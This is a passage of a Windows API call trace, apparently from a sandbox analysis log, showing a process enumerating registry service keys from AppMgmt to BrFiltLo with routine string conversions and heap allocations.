lpName="AppMgmt") returned 0x0 [0193.822] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0193.822] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0193.822] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0193.822] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f1c88, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0193.822] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0193.822] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0193.822] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0193.822] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0193.822] RegEnumKeyW (in: hKey=0x140, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0193.822] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0193.822] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0193.822] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0193.822] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f18e0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0193.822] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0193.822] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0193.822] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0193.822] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0193.822] RegEnumKeyW (in: hKey=0x140, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0193.822] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0193.822] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0193.822] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0193.822] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f1c88, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0193.822] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0193.822] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0193.822] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0193.823] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0193.823] RegEnumKeyW (in: hKey=0x140, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0193.823] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0193.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0193.823] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0193.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0193.823] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0193.823] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0193.823] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0193.823] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0193.823] RegEnumKeyW (in: hKey=0x140, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0193.823] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0193.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0193.823] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0193.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f1c88, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0193.823] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0193.823] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0193.823] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0193.823] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0193.823] RegEnumKeyW (in: hKey=0x140, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0193.823] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0193.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0193.823] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0193.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f18e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0193.823] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0193.823] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0193.823] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0193.823] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0193.823] RegEnumKeyW (in: hKey=0x140, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0193.823] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0193.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0193.823] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0193.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f1c88, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0193.824] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0193.824] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0193.824] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0193.824] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0193.824] RegEnumKeyW (in: hKey=0x140, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0193.824] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0193.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0193.824] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0193.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f18e0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0193.824] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0193.824] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0193.824] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0193.824] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0193.824] RegEnumKeyW (in: hKey=0x140, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0193.824] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0193.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0193.824] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0193.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f1c88, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0193.824] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0193.824] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0193.824] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0193.824] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0193.824] RegEnumKeyW (in: hKey=0x140, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0193.824] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0193.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0193.824] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0193.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0193.824] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0193.824] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0193.824] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0193.824] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0193.824] RegEnumKeyW (in: hKey=0x140, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0193.825] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0193.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0193.825] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0193.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f1c88, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0193.825] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0193.825] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0193.825] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0193.825] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0193.825] RegEnumKeyW (in: hKey=0x140, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0193.825] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0193.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0193.825] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0193.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0193.825] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0193.825] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0193.825] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0193.825] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0193.825] RegEnumKeyW (in: hKey=0x140, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0193.825] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0193.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0193.825] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0193.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f1c88, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0193.825] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0193.825] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0193.825] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0193.825] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0193.825] RegEnumKeyW (in: hKey=0x140, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0193.825] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0193.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0193.825] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0193.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f18e0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0193.825] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0193.826] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0193.826] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0193.826] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0193.826] RegEnumKeyW (in: hKey=0x140, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0193.826] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0193.826] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0193.826] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0193.826] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f1c88, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0193.826] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0193.826] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0193.826] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0193.826] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0193.826] RegEnumKeyW (in: hKey=0x140, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0193.826] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0193.826] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0193.826] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0193.826] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f18e0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0193.826] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0193.826] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0193.826] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0193.826] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0193.826] RegEnumKeyW (in: hKey=0x140, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0193.826] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0193.826] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0193.826] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0193.826] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f1c88, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0193.826] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0193.827] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0193.827] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0193.827] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0193.827] RegEnumKeyW (in: hKey=0x140, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0193.827] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0193.827] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0193.827] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0193.827] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f18e0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0193.827] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0193.827] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0193.827] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0193.827] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0193.827] RegEnumKeyW (in: hKey=0x140, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0193.827] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0193.827] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0193.827] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0193.827] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f1c88, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0193.827] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0193.827] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0193.827] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0193.827] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0193.827] RegEnumKeyW (in: hKey=0x140, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0193.827] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0193.827] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0193.827] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0193.827] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0193.827] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0193.827] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0193.827] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0193.827] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0193.827] RegEnumKeyW (in: hKey=0x140, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0193.827] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0193.828] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0193.828] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0193.828] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f1c88, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0193.828] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 